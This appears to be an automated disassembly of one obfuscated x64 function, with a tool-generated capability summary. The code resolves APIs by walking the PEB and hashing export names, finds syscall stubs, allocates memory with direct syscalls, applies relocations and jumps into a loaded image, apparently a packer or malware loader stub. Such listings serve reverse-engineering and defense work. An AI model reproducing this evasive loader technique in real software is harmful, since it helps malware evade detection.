Function at 0x140441644
Capabilities:
Access peb ldr_data
Encrypt data using speck
Execute anti-debugging instructions
Get kernel32 base address
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
stc
push r14
jmp 0x140441654
push r13
push r12
test r13b, r9b
push rsi
cmp dl, dil
test dx, 0x439d
clc
push rdi
clc
test bl, r12b
push rbp
push rbx
sub rsp, 0x78
test r9w, bp
cmp qword [0x1400dd010], 0
jmp 0x140441681
je 0x1404416e4
xor eax, eax
cmp sp, cx
bts r15, r11
bt cx, 0xcf
lea rcx, [section.CMpKJax0]
sal r15b, cl
nop word cs:[rax + rax]
test bl, r9b
sub r15w, 0x430b
lea r15, [rax + 0x10]
test al, dil
cmp si, 0x3ac8
cmp qword [rax + rcx + 0x20], 0
xchg ah, al
movzx eax, ax
movsx ax, r12b
mov rax, r15
jmp 0x1404416d9
jne 0x1404416b5
jmp 0x1404416e7
sub r15d, r15d
movabs r12, 0xcbf29ce484222325
movabs r13, 0x1d12a89b9e723ff5
rcr r10b, cl
ror r8d, cl
movsx r8w, r13b
mov rcx, qword gs:[0x30]
mov rcx, qword [rcx + 0x60]
shld r8, rax, 0x58
mov r10, qword [rcx + 0x18]
add r10, 0x10
movabs r8, 0x2cc10c8855a9a8cd
jmp 0x14044172f
jmp 0x140441742
cmp rbx, r8
jmp 0x14044173c
je 0x140441839
mov r10, qword [r10]
mov r9, qword [r10 + 0x30]
jmp 0x140441758
test r9, r9
jmp 0x140441760
je 0x140441a9f
mov r11, qword [r10 + 0x60]
sbb dil, r10b
shld di, ax, 0x8d
and dil, 0xf2
mov rdi, 0xffffffffffffffff
clc
cmp sp, 0x78aa
cmp word [r11 + rdi*2 + 2], 0
jmp 0x14044178f
lea rdi, [rdi + 1]
jmp 0x140441798
jne 0x140441783
mov rbx, r12
cmp ecx, 0x52aa3886
cmc
jmp 0x1404417ad
test rdi, rdi
jmp 0x1404417b5
je 0x140441734
xor ecx, ecx
rcl bpl, 0x14
ror si, 0x3b
mov rdx, r12
btc ebx, eax
cmc
nop word [rax + rax]
movzx ebx, word [r11 + rcx*2]
lea ebp, [rbx - 0x41]
lea esi, [rbx - 0x410]
sal ah, 0x6b
bswap ax
lea eax, [rbx + 0x20]
test ebp, 0x429e5848
clc
cmp si, 0x20
jmp 0x1404417f9
cmovb ebx, eax
test bpl, 0x24
stc
cmp bp, 0x1a
jmp 0x14044180a
cmovb ebx, eax
stc
movzx ebx, bx
xor rbx, rdx
imul rbx, r13
inc ecx
xadd dh, dl
bts rdx, rsp
cdq
mov rdx, rbx
jmp 0x14044182b
cmp rcx, rdi
jb 0x1404417d2
jmp 0x140441734
test r10, r10
je 0x140441a9f
movsxd rax, dword [r9 + 0x3c]
cwd
mov eax, dword [r9 + rax + 0x88]
sal rdx, cl
inc dx
lea rcx, [r9 + rax]
test bx, bp
test rax, rax
cmove rcx, rax
rcr dh, 0x5c
mov qword [rsp + 0x38], rcx
mov edx, dword [rcx + 0x18]
test edx, edx
je 0x140441a9f
mov rax, qword [rsp + 0x38]
stc
adc rcx, 0x199b642d
test r8w, 0x33ad
mov ecx, dword [rax + 0x20]
lea rcx, [rcx + r9]
btc r8d, 0xe
setg r8b
adc r10d, r12d
mov qword [rsp + 0x40], rcx
mov r10d, dword [rax + 0x24]
add r10, r9
sal r8w, 0x74
mov r8d, dword [rax + 0x1c]
clc
test spl, r14b
add r8, r9
stc
xor edi, edi
jmp 0x1404418c1
jmp 0x1404418ee
mov edx, dword [rsp + 0x20]
movsx eax, r9w
cdqe
inc rdi
mov ax, sp
sal eax, 6
mov eax, edx
clc
cmp di, r12w
cmp rdi, rax
jmp 0x1404418e8
jae 0x140441a9f
movzx ecx, word [r10 + rdi*2]
mov ebx, dword [r8 + rcx*4]
cmp bx, r15w
test rsi, r10
cmp dword [r9 + rbx], 0xb8d18b4c
jmp 0x14044190b
jne 0x1404418d0
mov dword [rsp + 0x20], edx
rcr bp, cl
cbw
bt esi, 0x16
mov rax, qword [rsp + 0x40]
shl bpl, 5
bsf bp, r10w
movsx rsi, ax
mov esi, dword [rax + rdi*4]
or bp, bp
lea rsi, [rsi + r9]
mov rbp, 0xffffffffffffffff
cmc
jmp 0x140441947
nop dword [rax + rax]
cmp byte [rsi + rbp + 1], 0
jmp 0x140441956
lea rbp, [rbp + 1]
jmp 0x14044195f
jne 0x14044194c
mov rcx, r12
cmp r9b, 0x76
test r13d, 0x68062911
cmp r11b, cl
test rbp, rbp
jmp 0x14044197e
je 0x140441a02
xor r14d, r14d
movzx ax, r10b
cwde
mov r11, r12
rol cx, 7
xadd cl, dl
rcr cl, cl
nop dword [rax]
movzx ecx, byte [rsi + r14]
bt edx, 0x5b
cmp bl, 0xea
cdq
lea edx, [rcx - 0x41]
sub al, 0x90
bswap ax
lea eax, [rcx + 0x20]
jmp 0x1404419bd
cmp dl, 0x1a
movzx eax, al
jmp 0x1404419c8
cmovae eax, ecx
sar cx, cl
movsx rcx, al
test bx, r8w
xor rcx, r11
imul rcx, r13
movsx r11d, bp
jmp 0x1404419ea
inc r14d
setge r11b
mov r11, rcx
cmp r14, rbp
jmp 0x1404419fc
jb 0x1404419a0
mov rsi, qword [0x1400dd010]
test rsi, rsi
jmp 0x140441a11
je 0x1404418c6
lea rbp, [0x1400dd020]
test r8b, r10b
nop word cs:[rax + rax]
test r9b, 0xef
jmp 0x140441a39
cmp rsi, rcx
jmp 0x140441a41
je 0x140441a6f
mov rsi, qword [rbp]
cmp r9b, al
stc
cmc
add rbp, 0x10
jmp 0x140441a5c
test rsi, rsi
jmp 0x140441a64
jne 0x140441a39
jmp 0x1404418c6
mov eax, dword [rbx + r9 + 4]
bswap rdx
mov rdx, 0x2cfc1ada
movsx rdx, r11w
mov dword [rbp - 8], eax
mov rax, qword [rsp + 0x38]
mov rdx, rbp
movsx dx, r11b
mov edx, dword [rax + 0x18]
jmp 0x140441a9a
jmp 0x1404418d0
test r15, r15
je 0x140441b26
xor ebp, ebp
lea rbx, [section.CMpKJax0]
cdq
clc
jmp 0x140441ab8
mov rcx, r12
test r9b, 0xb0
xor dl, 0xbc
cwd
nop dword [rax]
sbb dl, 0xc9
movzx edx, byte [rbp + rbx + 0x10]
cmp dil, 0x5d
xor rcx, rdx
cmc
imul rcx, r13
jmp 0x140441ae0
inc ebp
cmp rbp, r15
jb 0x140441aca
movabs rdx, 0xe9203a08b69f42e8
add rcx, rdx
rol dl, cl
shld edx, esi, 0x15
test sil, 0x20
movabs rdx, 0x52aea00e8a0b3911
xor rdx, rcx
movabs rcx, 0xee16cad6b000daab
add rcx, rdx
jmp 0x140441b21
jmp 0x140441b30
movabs rcx, 0xd5d341ba60cb39c7
rol rcx, 0x16
movabs rax, 0x957b6a83b7a0090f
test sp, r15w
cmp r10w, r13w
xor rax, rcx
bsr cx, cx
or ecx, 0x3a1e5305
add cl, r13b
movabs rcx, 0xec0e237d69308474
test bpl, al
jmp 0x140441b6a
lea rcx, [rcx + rax]
clc
mov qword [0x1400b7208], rcx
test bpl, r10b
stc
cmp qword [0x1400de010], 0
jmp 0x140441b87
je 0x140441bc8
sub ecx, ecx
bts dx, r8w
lea rdx, [section.qicoeax1]
sbb al, dil
movsxd rax, r13d
rol al, 0x7a
nop
lea rax, [rcx + 0x10]
cmc
cmp qword [rcx + rdx + 0x20], 0
movsx rcx, cx
mov rcx, rax
jmp 0x140441bbd
jne 0x140441ba6
jmp 0x140441bd0
sub eax, eax
cmp r14b, bpl
test r11b, r13b
mov qword [rsp + 0x60], rax
stc
xor ecx, ecx
jmp 0x140441bf9
mov rcx, qword [rsp + 0x30]
jmp 0x140441be7
inc rcx
cmp rcx, 8
jmp 0x140441bf3
je 0x140442002
lea rax, [0x1400bfdf0]
cmc
bt r8w, 0xa5
mov qword [rsp + 0x30], rcx
xchg r8w, r10w
mov r8, qword [rax + rcx*8]
mov rax, qword gs:[0x30]
sal r10w, cl
shl r10b, 0xe5
mov rax, qword [rax + 0x60]
mov r10, qword [rax + 0x18]
cmc
jmp 0x140441c36
add r10, 0x10
jmp 0x140441c3f
jmp 0x140441c52
cmp rdx, r8
jmp 0x140441c4c
je 0x140441d3b
mov r10, qword [r10]
and r11b, al
mov r11, qword [r10 + 0x30]
test ax, cx
clc
test r11, r11
jmp 0x140441c68
je 0x140441bdd
mov r14, qword [r10 + 0x60]
mov rbx, 0xffffffffffffffff
test dx, 0x3d2a
cmp al, 0x6e
nop dword [rax]
cmp r14, 0x6cfd24a2
cmp word [r14 + rbx*2 + 2], 0
jmp 0x140441c97
lea rbx, [rbx + 1]
jne 0x140441c8b
mov rdx, r12
stc
clc
test rbx, rbx
jmp 0x140441cae
je 0x140441c44
xor ecx, ecx
setbe dl
test r8b, 0x2d
mov rdi, r12
bsf rdx, rdx
rcr sil, cl
adc ah, 0x49
nop word [rax + rax]
test dil, 0x95
movzx eax, word [r14 + rcx*2]
cmc
lea edx, [rax - 0x41]
setae sil
lea esi, [rax - 0x410]
lea ebp, [rax + 0x20]
cmc
cmp si, 0x20
jmp 0x140441cf4
cmovb eax, ebp
test r12w, 0x650f
cmp dx, 0x1a
cdq
movsx dx, spl
cqo
cmovb eax, ebp
cmc
movzx edx, ax
xor rdx, rdi
cmp r13w, 0x2811
shld di, r8w, 0xd8
imul rdx, r13
inc ecx
mov rdi, rdx
cmp rcx, rbx
jmp 0x140441d30
jb 0x140441cd4
jmp 0x140441c44
test r10, r10
jmp 0x140441d43
je 0x140441bdd
movzx eax, word [r11]
cmp r13b, r12b
cmp eax, 0x5a4d
jne 0x140441d95
movsxd rax, dword [r11 + 0x3c]
ror cx, cl
lea rcx, [r11 + rax]
test dl, 0x9c
stc
cmp dword [r11 + rax], 0x4550
movzx rax, bx
bswap ax
cmove r9, r11
mov rax, qword [rsp + 0x58]
jmp 0x140441d87
cmove rax, rcx
jmp 0x140441d90
jmp 0x140441da3
mov rax, qword [rsp + 0x58]
movzx rbp, r15w
stc
sbb cx, r13w
mov qword [rsp + 0x58], rax
test r11d, 0x3b4828cb
shrd cx, dx, 0x11
cmp bh, 0xd7
mov ecx, dword [rax + 0x88]
dec bpl
btc ebp, 0x65
lea rax, [r9 + rcx]
bts bp, bp
xchg bp, bp
test rcx, rcx
movzx bp, r9b
cmove rax, rcx
bts bp, r13w
rcr bpl, 0xe9
cmc
mov ebp, dword [rax + 0x18]
cmp dil, 0xb9
test r11b, r14b
test ebp, ebp
je 0x140441bdd
mov r14d, dword [rax + 0x20]
sub cx, r13w
bts rcx, rcx
lea r14, [r14 + r11]
sal cl, 0x29
add cl, 0x7a
mov ecx, dword [rax + 0x24]
test ecx, 0x1f566827
stc
add rcx, r11
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x20], rax
clc
mov eax, dword [rax + 0x1c]
clc
jmp 0x140441e34
lea rax, [rax + r11]
mov qword [rsp + 0x38], rax
clc
xor esi, esi
jmp 0x140441e45
jmp 0x140441ebf
mov rax, qword [rsp + 0x40]
shr bpl, cl
rcr dx, cl
rcl dx, 0x48
movzx eax, word [rax + rsi*2]
shl rbp, 0x47
mov rdx, qword [rsp + 0x38]
btc bp, r9w
cmp r11w, r9w
mov eax, dword [rdx + rax*4]
xor bpl, r10b
cmc
rcr rbp, 0xfb
add rax, r11
bswap ebp
mov bpl, 0x91
movzx ebp, r15w
mov qword [rcx - 8], rax
dec eax
mov rax, qword [rsp + 0x20]
bswap rbp
cmove ebp, ebx
mov ebp, dword [rax + 0x18]
movzx ax, ch
jmp 0x140441ea3
inc rsi
shr ah, 0xbf
cmc
bsr ax, r14w
mov eax, ebp
cmp rsi, rax
jmp 0x140441eb9
jae 0x140441bdd
mov r8d, dword [r14 + rsi*4]
stc
btc bx, r12w
lea r8, [r8 + r11]
shl bl, cl
mov rbx, 0xffffffffffffffff
cmc
nop dword [rax]
cmp sil, 0xad
cmp byte [r8 + rbx + 1], 0
jmp 0x140441eea
lea rbx, [rbx + 1]
jmp 0x140441ef3
jne 0x140441edf
mov r10, r12
cmp rdi, r10
test spl, 0xbe
jmp 0x140441f08
test rbx, rbx
jmp 0x140441f10
je 0x140441f9d
sub ecx, ecx
adc r15b, dl
mov r15, r12
rdtsc
adc dl, 0x78
nop dword [rax]
movsx ax, dil
movzx edi, byte [r8 + rcx]
adc al, bl
sar r10b, 0xef
lea eax, [rdi - 0x41]
shl r10, 0xa0
shr dl, 0x96
lea edx, [rdi + 0x20]
cmp al, 0x1a
movsx rax, r15w
cdqe
jmp 0x140441f54
movzx eax, dl
movzx r10w, r9b
cmovae eax, edi
movsx r10, al
cmp ch, 0xff
cmp r15w, si
xor r10, r15
sub r15d, 0x18335ad0
imul r10, r13
movsx r15d, r13w
inc ecx
mov r15, r10
cmp spl, 0x11
test r13w, r14w
test r14w, 0x285b
cmp rcx, rbx
jmp 0x140441f97
jb 0x140441f2f
mov rbx, qword [0x1400de010]
test r9b, 0xfe
cmp r9b, 0xe5
test rbx, rbx
jmp 0x140441fb4
je 0x140441ea3
lea rcx, [0x1400de020]
jmp 0x140441fc7
nop dword [rax + rax]
jmp 0x140441fd2
cmp rbx, r10
jmp 0x140441fda
je 0x140441e4a
mov rbx, qword [rcx]
test edx, esi
add rcx, 0x10
cmp esp, 0x64b08a5
test rbx, rbx
jmp 0x140441ff7
jne 0x140441fd2
jmp 0x140441ea3
mov rax, qword [rsp + 0x60]
cmc
test rax, rax
jmp 0x140442010
je 0x140442073
xor ecx, ecx
lea rbp, [section.qicoeax1]
setae dh
and dl, r10b
shld dx, di, 0xe6
nop dword [rax]
setp dl
movzx edx, byte [rcx + rbp + 0x10]
xor rdx, r12
bts r12d, edi
sbb r12w, dx
or r12w, bx
imul rdx, r13
movzx r12d, r14w
bswap r12
inc ecx
cmp r13b, 0x88
cmc
shrd r12w, r15w, 0x2f
mov r12, rdx
cmc
cmp rcx, rax
jmp 0x140442068
jb 0x140442030
jmp 0x14044207a
mov rdx, r12
movzx ax, cl
rol rdx, 0xb
movsx ecx, r8w
adc cl, 0xa1
or ecx, r15d
movabs rax, 0xdf7ad2359957b5f4
movzx rcx, dx
add rax, rdx
stc
bt ecx, 0x3d
cmovbe cx, ax
rol rax, 0x16
cmc
btc cx, 0x6e
add cl, r12b
movabs rcx, 0x4934245b3ce013cf
cmc
jmp 0x1404420bf
xor rcx, rax
adc al, dl
or ax, 0x3a1d
btc ax, 0x10
movabs rax, 0x5b5c0083c64fa867
cmc
add rax, rcx
movzx rcx, r8w
bts ecx, eax
rol rax, 0xc
adc cx, 0x388d
movabs rcx, 0xdd5421de87040723
jmp 0x1404420fa
add rcx, rax
btc eax, 0x48
rol rcx, 0x25
mov qword [0x1400b7210], rcx
mov eax, dword [0x7ffe0014]
sar ecx, 0x5a
cmovne ecx, ecx
btr ecx, 0x30
mov dword [0x1400b8eb8], eax
cmp r11, rcx
movzx ecx, word [0x140000000]
stc
test rdx, 0x50d16b74
cmp r12w, 0x62bb
cmp ecx, 0x5a4d
jmp 0x140442146
jne 0x14044218e
movsxd rcx, dword [0x14000003c]
movzx rdx, r8w
jmp 0x14044215c
lea rdx, [0x140000000]
clc
test si, 0x51d6
cmp dword [rcx + rdx], 0x4550
jmp 0x140442175
jne 0x14044218e
lea rbx, [rcx + rdx]
lea r14, [rcx + rdx]
dec r9w
add r14, 0x108
imul eax, eax, 0x41c64e6d
bswap r9w
adc r12b, 0xb7
add eax, 0x3039
bsr edx, esi
or bpl, bl
imul ecx, eax, 0x41c64e6d
shr dl, 0x94
shl r13b, 0xc6
shr eax, 0x10
cmovae dx, ax
setp bpl
shrd r10w, r12w, 0x1d
lea edx, [rax + rax*2]
shr edx, 0x10
btr r9w, 0x34
sal bp, cl
and r12b, 0x6a
mov ebp, eax
test sp, 0x2b76
shl r13b, 0xf
test bl, sil
sub ebp, edx
shr r12, cl
bt r12w, r12w
movzx ebp, bp
movzx r10w, r12b
rol r12, 0x80
test r13w, 0x79c
shr ebp, 1
stc
shr r13b, 0x90
add ebp, edx
or r12b, spl
setno r12b
movzx r13d, bp
bsr r12w, bp
sub r9w, 0x6654
sbb dl, ah
shr r13d, 0xe
add r13d, eax
adc dl, 0xf0
shrd dx, r15w, 0x51
and r13d, 0x3fff
lahf
btr ax, 0xf9
add r13d, 0xfff
cwde
xor ax, 0x3251
and r13d, 0x7000
add ecx, 0x3039
clc
setbe ah
adc r12b, 0xa9
mov dword [0x1400b8eb8], ecx
shr ecx, 0x10
sbb r10w, r15w
sub r9b, cl
lea eax, [rcx + rcx*2]
shr eax, 0x10
mov edx, ecx
clc
stc
sub edx, eax
stc
seta r10b
sbb r10b, al
movzx edx, dx
bt r12d, 0xac
sal r9w, cl
shr edx, 1
bsf r12w, r8w
test r9d, 0x44964ba
add edx, eax
btc r12, r12
movzx r12d, dx
cmc
bt r9w, 0x90
shr r12d, 0xe
bts dx, cx
cmovge r9w, cx
shr dx, cl
add r12d, ecx
and r12d, 0x3fff
btc dx, r12w
movzx r10d, bp
add r12d, 0xfff
shr cx, cl
btr rax, r14
and r12d, 0x7000
jmp 0x1404422ed
mov qword [rsp + 0x28], 0
inc ax
sal r9b, 0x6c
mov qword [rsp + 0x20], rbx
sbb rax, 0x2e1e1367
test r12w, bp
mov ecx, dword [rbx + 0x50]
cmc
add rcx, r12
add rcx, r13
btc r10w, 0xa3
ror r10b, cl
sar r10d, cl
mov qword [rsp + 0x48], rcx
movsx edx, r12w
mov eax, dword [0x1400dd078]
lea rdx, [rsp + 0x28]
bt r9w, r8w
sub r9, 0x6ba45a0f
adc r9d, esp
lea r9, [rsp + 0x48]
movzx r10w, spl
rol r10b, 0x20
sar r10, 0x95
mov r10, 0xffffffffffffffff
jmp 0x140442368
xor r8d, r8d
cmp bp, 0x869
sub rsp, 0x40
jmp 0x140442379
mov qword [rsp + 0x28], 0x3000
jmp 0x140442387
mov qword [rsp + 0x30], 4
syscall
add rsp, 0x40
rcl r8b, 0xa6
bts cx, bp
bsf r8w, r15w
mov rcx, qword [rsp + 0x28]
btr r8w, 0x3d
mov r8, qword [rsp + 0x48]
test sil, spl
sub edx, edx
call fcn.1404a317d
mov r15, qword [rsp + 0x28]
test r13d, r13d
je 0x140442633
mov rcx, r13
mov dx, r9w
xchg dil, al
shr rcx, 3
movsx si, dil
adc al, dil
movzx esi, r13w
cmp rcx, 2
mov r8b, r14b
lahf
mov r8d, 1
cqo
xchg bp, dx
bswap rax
cmovae r8, rcx
sub r9d, r9d
not dx
test si, 0x2963
nop word cs:[rax + rax]
btr rdi, 0xcb
cbw
imul edx, dword [0x1400b8eb8], 0x41c64e6d
mov sil, 0xda
cmc
add edx, 0x3039
test r11w, sp
shl dil, cl
imul edi, edx, 0x41c64e6d
shr rbp, cl
ror bpl, cl
bts bx, bp
mov ebp, edx
movzx rsi, r15w
or sil, 0xe2
rol bh, 0xd9
shr ebp, 0x10
xadd bl, sil
lea edx, [rbp + rbp*2]
test r8, r9
rol sil, cl
cmp eax, edi
shr edx, 0x10
mov eax, ebp
sets bh
mov ch, 0x21
sub eax, edx
shr bl, cl
sar bx, 0xfc
movzx eax, ax
btc ebx, 0x2a
movsx bx, r10b
shr eax, 1
cmovb bx, sp
or cl, r10b
add eax, edx
sub sil, 0x5a
rcr dx, cl
shr bl, cl
add edi, 0x3039
movzx edx, ax
stc
test bh, 2
rcr ah, cl
mov eax, edi
movzx ecx, r10w
sbb si, 0x446e
shl bx, 0xb2
shr eax, 0x10
bts cx, r8w
cmp ecx, ebx
sbb cl, sil
lea ebx, [rax + rax*2]
bswap esi
test r9w, r14w
sar ecx, 0x8b
shr edx, 0xe
movzx cx, dil
bt ecx, 0x7e
shr ebx, 0x10
sub si, ax
mov esi, eax
or ecx, r10d
sar ecx, cl
shr cl, cl
sub esi, ebx
rcl cl, cl
sal cl, 0x49
mov ecx, edx
movzx esi, si
stc
test r15b, 0x18
cmp r12b, bl
shr esi, 1
test rsp, rdi
clc
add esi, ebx
shrd bx, ax, 0x71
rcr rbx, cl
shl ecx, 0xf
btc bx, bp
movzx ebx, si
and sil, 0xf0
movsxd rsi, ebp
shr ebx, 0xe
bswap si
rcl sil, 0xe3
mov esi, ebx
test sp, cx
clc
sub edx, ecx
shrd cx, cx, 0xcc
movsx rcx, r15w
shl esi, 0xf
sub ebx, esi
add cl, r13b
dec cx
add ebx, eax
adc eax, 0x5d904ce1
add edx, ebp
sub ebp, ebp
jmp 0x140442556
cmp bx, 0x10
setb bpl
dec bx
ror ch, 0x92
shl rbx, 0x71
imul eax, edi, 0x41c64e6d
add eax, 0x3039
imul ecx, eax, 0x41c64e6d
shr eax, 0x10
lea ebx, [rax + rax*2]
shr ebx, 0x10
xchg dil, dil
shl di, cl
mov edi, eax
cmc
sub edi, ebx
cmp r15b, cl
movzx edi, di
shr edi, 1
test r14w, 0x1768
add edi, ebx
movzx edx, dx
sub rbx, 0x145f0822
movzx ebx, di
btc di, 0x85
shr ebx, 0xe
rol di, cl
mov edi, ebx
or rbp, rdx
clc
test r14b, 0xec
shl edi, 0xf
sub ebx, edi
stc
add ebx, eax
cmp esi, 0x25541681
add ecx, 0x3039
cmp ebp, ecx
cmp r10d, 0x536447f9
stc
xor eax, eax
and al, 0xcf
cmp bx, 0x20
setb al
clc
cmp r9d, esi
cmc
mov dword [0x1400b8eb8], ecx
stc
jmp 0x1404425f9
or rax, rbp
jmp 0x140442601
mov qword [r15 + r9*8], rax
jmp 0x14044260a
inc r9
jmp 0x140442617
cmp r8, r9
jmp 0x14044261f
jne 0x14044241b
mov r15, qword [rsp + 0x28]
clc
test cl, dil
jmp 0x140442633
test r12, r12
jmp 0x14044263b
je 0x1404428a6
sub r15, r12
shr ebx, cl
add r15, qword [rsp + 0x48]
shl si, 0xfb
bsf rcx, r13
shr r12, 3
cmp r12, 2
cmova si, r15w
cdq
rdtsc
mov r8d, 1
movsx rsi, r15w
cmovle bx, r8w
movzx dx, r11b
cmovae r8, r12
xor r9d, r9d
adc ebx, eax
or eax, 0x1f255105
and rdx, rbx
nop
imul edx, dword [0x1400b8eb8], 0x41c64e6d
sar rdi, cl
rcl si, 0x45
add edx, 0x3039
xchg al, sil
cdqe
sub dil, 0xfa
imul edi, edx, 0x41c64e6d
clc
bsf esi, r15d
mov ebp, edx
bswap dx
btc ax, si
shr ebp, 0x10
ror ah, 0x74
adc rbx, 0x14cf4958
lea edx, [rbp + rbp*2]
setns bl
movzx ax, r14b
shr edx, 0x10
rol eax, 0xc6
mov ebx, ebp
cbw
movsx si, r14b
sub ebx, edx
shl al, 0xef
bswap ax
cwde
movzx ebx, bx
sub al, r13b
bsr esi, esp
cbw
shr ebx, 1
test edi, ecx
movsx cx, spl
add ebx, edx
btr ax, 0x55
sar rdx, cl
add edi, 0x3039
movzx edx, bx
shrd rbx, r13, 0xda
mov ebx, edi
btc rcx, 0xf7
mov ch, 0x74
sub si, 0x7ce9
shr ebx, 0x10
movsxd rcx, ebx
lea esi, [rbx + rbx*2]
movzx ecx, sp
shr edx, 0xe
cwde
movsxd rcx, r11d
shl cx, 6
shr esi, 0x10
lahf
mov eax, ebx
neg cx
shl cl, 0xef
sub eax, esi
movsx rcx, r13w
mov ecx, edx
test bh, 0xdc
stc
cmc
movzx eax, ax
shr eax, 1
cmp spl, r12b
clc
add eax, esi
shl ecx, 0xf
xadd sil, sil
xor sil, cl
xchg sil, sil
movzx eax, ax
cmc
shr eax, 0xe
sar sil, cl
ror si, 0x23
mov esi, eax
clc
sub edx, ecx
shl esi, 0xf
bsf ecx, ecx
add ecx, 0x5b60306
movsx rcx, dx
sub eax, esi
xor ecx, 0x467a6614
sal cl, 0xdc
add eax, ebx
add edx, ebp
xchg ecx, ecx
sub ebp, ebp
or bpl, dil
test r8w, 0x2f04
cmp ax, 0x10
cwde
cmovg eax, r9d
setb bpl
sar ch, 0x65
movsx bx, r9b
imul eax, edi, 0x41c64e6d
sub ch, ch
setp cl
add eax, 0x3039
movsx cx, r11b
bsf ecx, esp
imul ecx, eax, 0x41c64e6d
shr eax, 0x10
shr bl, cl
jmp 0x1404427f1
lea ebx, [rax + rax*2]
shr ebx, 0x10
or dil, r10b
ror dil, 0xdf
mov edi, eax
test sp, sp
cmp bl, 0xea
clc
sub edi, ebx
jmp 0x14044280e
movzx edi, di
shr edi, 1
add edi, ebx
xor rbx, 0xf125bfd
sar bl, cl
movzx edx, dx
shl bh, cl
movzx ebx, di
neg di
xadd dil, dil
and dil, dil
shr ebx, 0xe
sbb dil, 0x3e
mov edi, ebx
test spl, sil
or rbp, rdx
test dx, sp
shl edi, 0xf
test r11b, 0x19
clc
stc
sub ebx, edi
test bl, r15b
add ebx, eax
clc
cmp r12b, r13b
add ecx, 0x3039
sub eax, eax
cmp r13b, 0x37
sub al, 0x30
cmp bx, 0x20
not al
setb al
stc
test r15b, 0x1f
mov dword [0x1400b8eb8], ecx
or rax, rbp
jmp 0x140442880
mov qword [r15 + r9*8], rax
jmp 0x140442889
inc r9
cmp r8, r9
jne 0x14044268a
mov r15, qword [rsp + 0x28]
bsf ax, di
bt eax, 0xab
movzx ax, bl
mov rax, qword [rsp + 0x20]
add r15, r13
movzx eax, word [rax + 6]
test rax, rax
jmp 0x1404428ba
je 0x1404429dc
shl rax, 3
lea rbp, [rax + rax*4]
sub edi, edi
mov ebx, 4
lea rsi, [rsp + 0x70]
clc
rol r8, cl
lea r12, [rsp + 0x68]
test dil, r11b
movsx rcx, di
lea r13, [rsp + 0x54]
nop dword [rax + rax]
bt rax, r15
shl ax, cl
lahf
mov edx, dword [r14 + rdi + 0xc]
lea rcx, [r15 + rdx]
sar r8, 0xe4
btc eax, r9d
mov qword [rsp + 0x70], rcx
bts ax, di
lea rax, [0x140000000]
or r8w, si
add rdx, rax
bswap r8w
setl r8b
not r8w
mov r8d, dword [r14 + rdi + 8]
jmp 0x140442934
call fcn.1404a26e1
mov eax, dword [r14 + rdi + 8]
mov qword [rsp + 0x68], rax
xchg r10, r10
rol r9d, cl
mov dword [rsp + 0x54], 0
test dword [r14 + rdi + 0x24], 0x20000000
setp r8b
mov r9d, 0x40
movzx rax, r11w
mov r10b, 0x5d
cmove r9d, ebx
mov eax, dword [0x1400dd088]
btc r10w, 0x74
movzx edx, r12w
rcl dx, 0x44
mov r10, 0xffffffffffffffff
not dl
ror dx, 0x47
mov rdx, rsi
sar r8w, 0xd5
jmp 0x1404429a0
mov r8, r12
cmp r9b, 0x41
clc
sub rsp, 0x30
jmp 0x1404429b1
mov qword [rsp + 0x28], r13
syscall
add rsp, 0x30
add rdi, 0x28
jmp 0x1404429cf
cmp ebp, edi
jmp 0x1404429d6
jne 0x1404428f6
lea rdx, [0x140000000]
mov rax, r15
sub rax, rdx
bsf si, r8w
mov rsi, qword [rsp + 0x20]
mov ecx, dword [rsi + 0xb0]
jmp 0x1404429fe
add rcx, rdx
je 0x140442ae7
mov r8d, 1
jmp 0x140442a12
jmp 0x140442a2a
mov ebx, dword [rcx + 4]
clc
cmc
add rcx, rbx
jmp 0x140442a24
je 0x140442ae7
cmp dword [rcx], 0
jmp 0x140442a32
je 0x140442ae7
mov ebx, dword [rcx + 4]
test rbx, rbx
je 0x140442ae7
lea rbp, [rbx - 8]
cmp rbp, 2
jmp 0x140442a51
jb 0x140442a1c
shr rbp, 1
cmc
jmp 0x140442a60
cmp rbp, 2
jmp 0x140442a69
cmovb rbp, r8
clc
stc
jmp 0x140442a74
sub ebx, ebx
jmp 0x140442a7b
jmp 0x140442aa7
and edi, 0xfff
shr edx, cl
mov edx, dword [rcx]
add rdi, r15
add qword [rdx + rdi], rax
jmp 0x140442a96
inc rbx
cmp rbp, rbx
jmp 0x140442aa1
je 0x140442a17
movzx edi, word [rcx + rbx*2 + 8]
cmp edi, 0x1000
jb 0x140442a96
mov edx, edi
test r15, 0x3fa6519e
stc
shr edx, 0xc
cmc
cmp edx, 0xa
jmp 0x140442ace
je 0x140442a80
cmp edx, 3
jmp 0x140442adc
je 0x140442a80
jmp 0x140442a96
mov ecx, dword [rsi + 0xd0]
jmp 0x140442af2
movq xmm0, rax
pshufd xmm0, xmm0, 0x44
movdqu xmm1, xmmword [r15 + rcx]
jmp 0x140442b07
movdqu xmm2, xmmword [r15 + rcx + 0x10]
jmp 0x140442b13
paddq xmm1, xmm0
movdqu xmmword [r15 + rcx], xmm1
paddq xmm2, xmm0
movdqu xmmword [r15 + rcx + 0x10], xmm2
sar dl, 0xa1
lea rdx, [0x14005d630]
bsr rcx, rdx
add rdx, rax
movsx cx, r13b
lea rcx, [0x140000000]
jmp 0x140442b4a
call rdx
nop
or bl, dil
add rsp, 0x78
movzx r15, r10w
pop rbx
xchg rsi, r15
bswap r13
movzx di, al
pop rbp
mov r15b, r11b
movsx esi, dx
pop rdi
movsx r12, r15w
mov r12d, 0x56316c28
pop rsi
movsx r13, r13w
pop r12
movsxd r13, ebp
xchg r13b, r15b
pop r13
pop r14
cmovg r15w, r12w
pop r15
jmp 0x140442b92
ret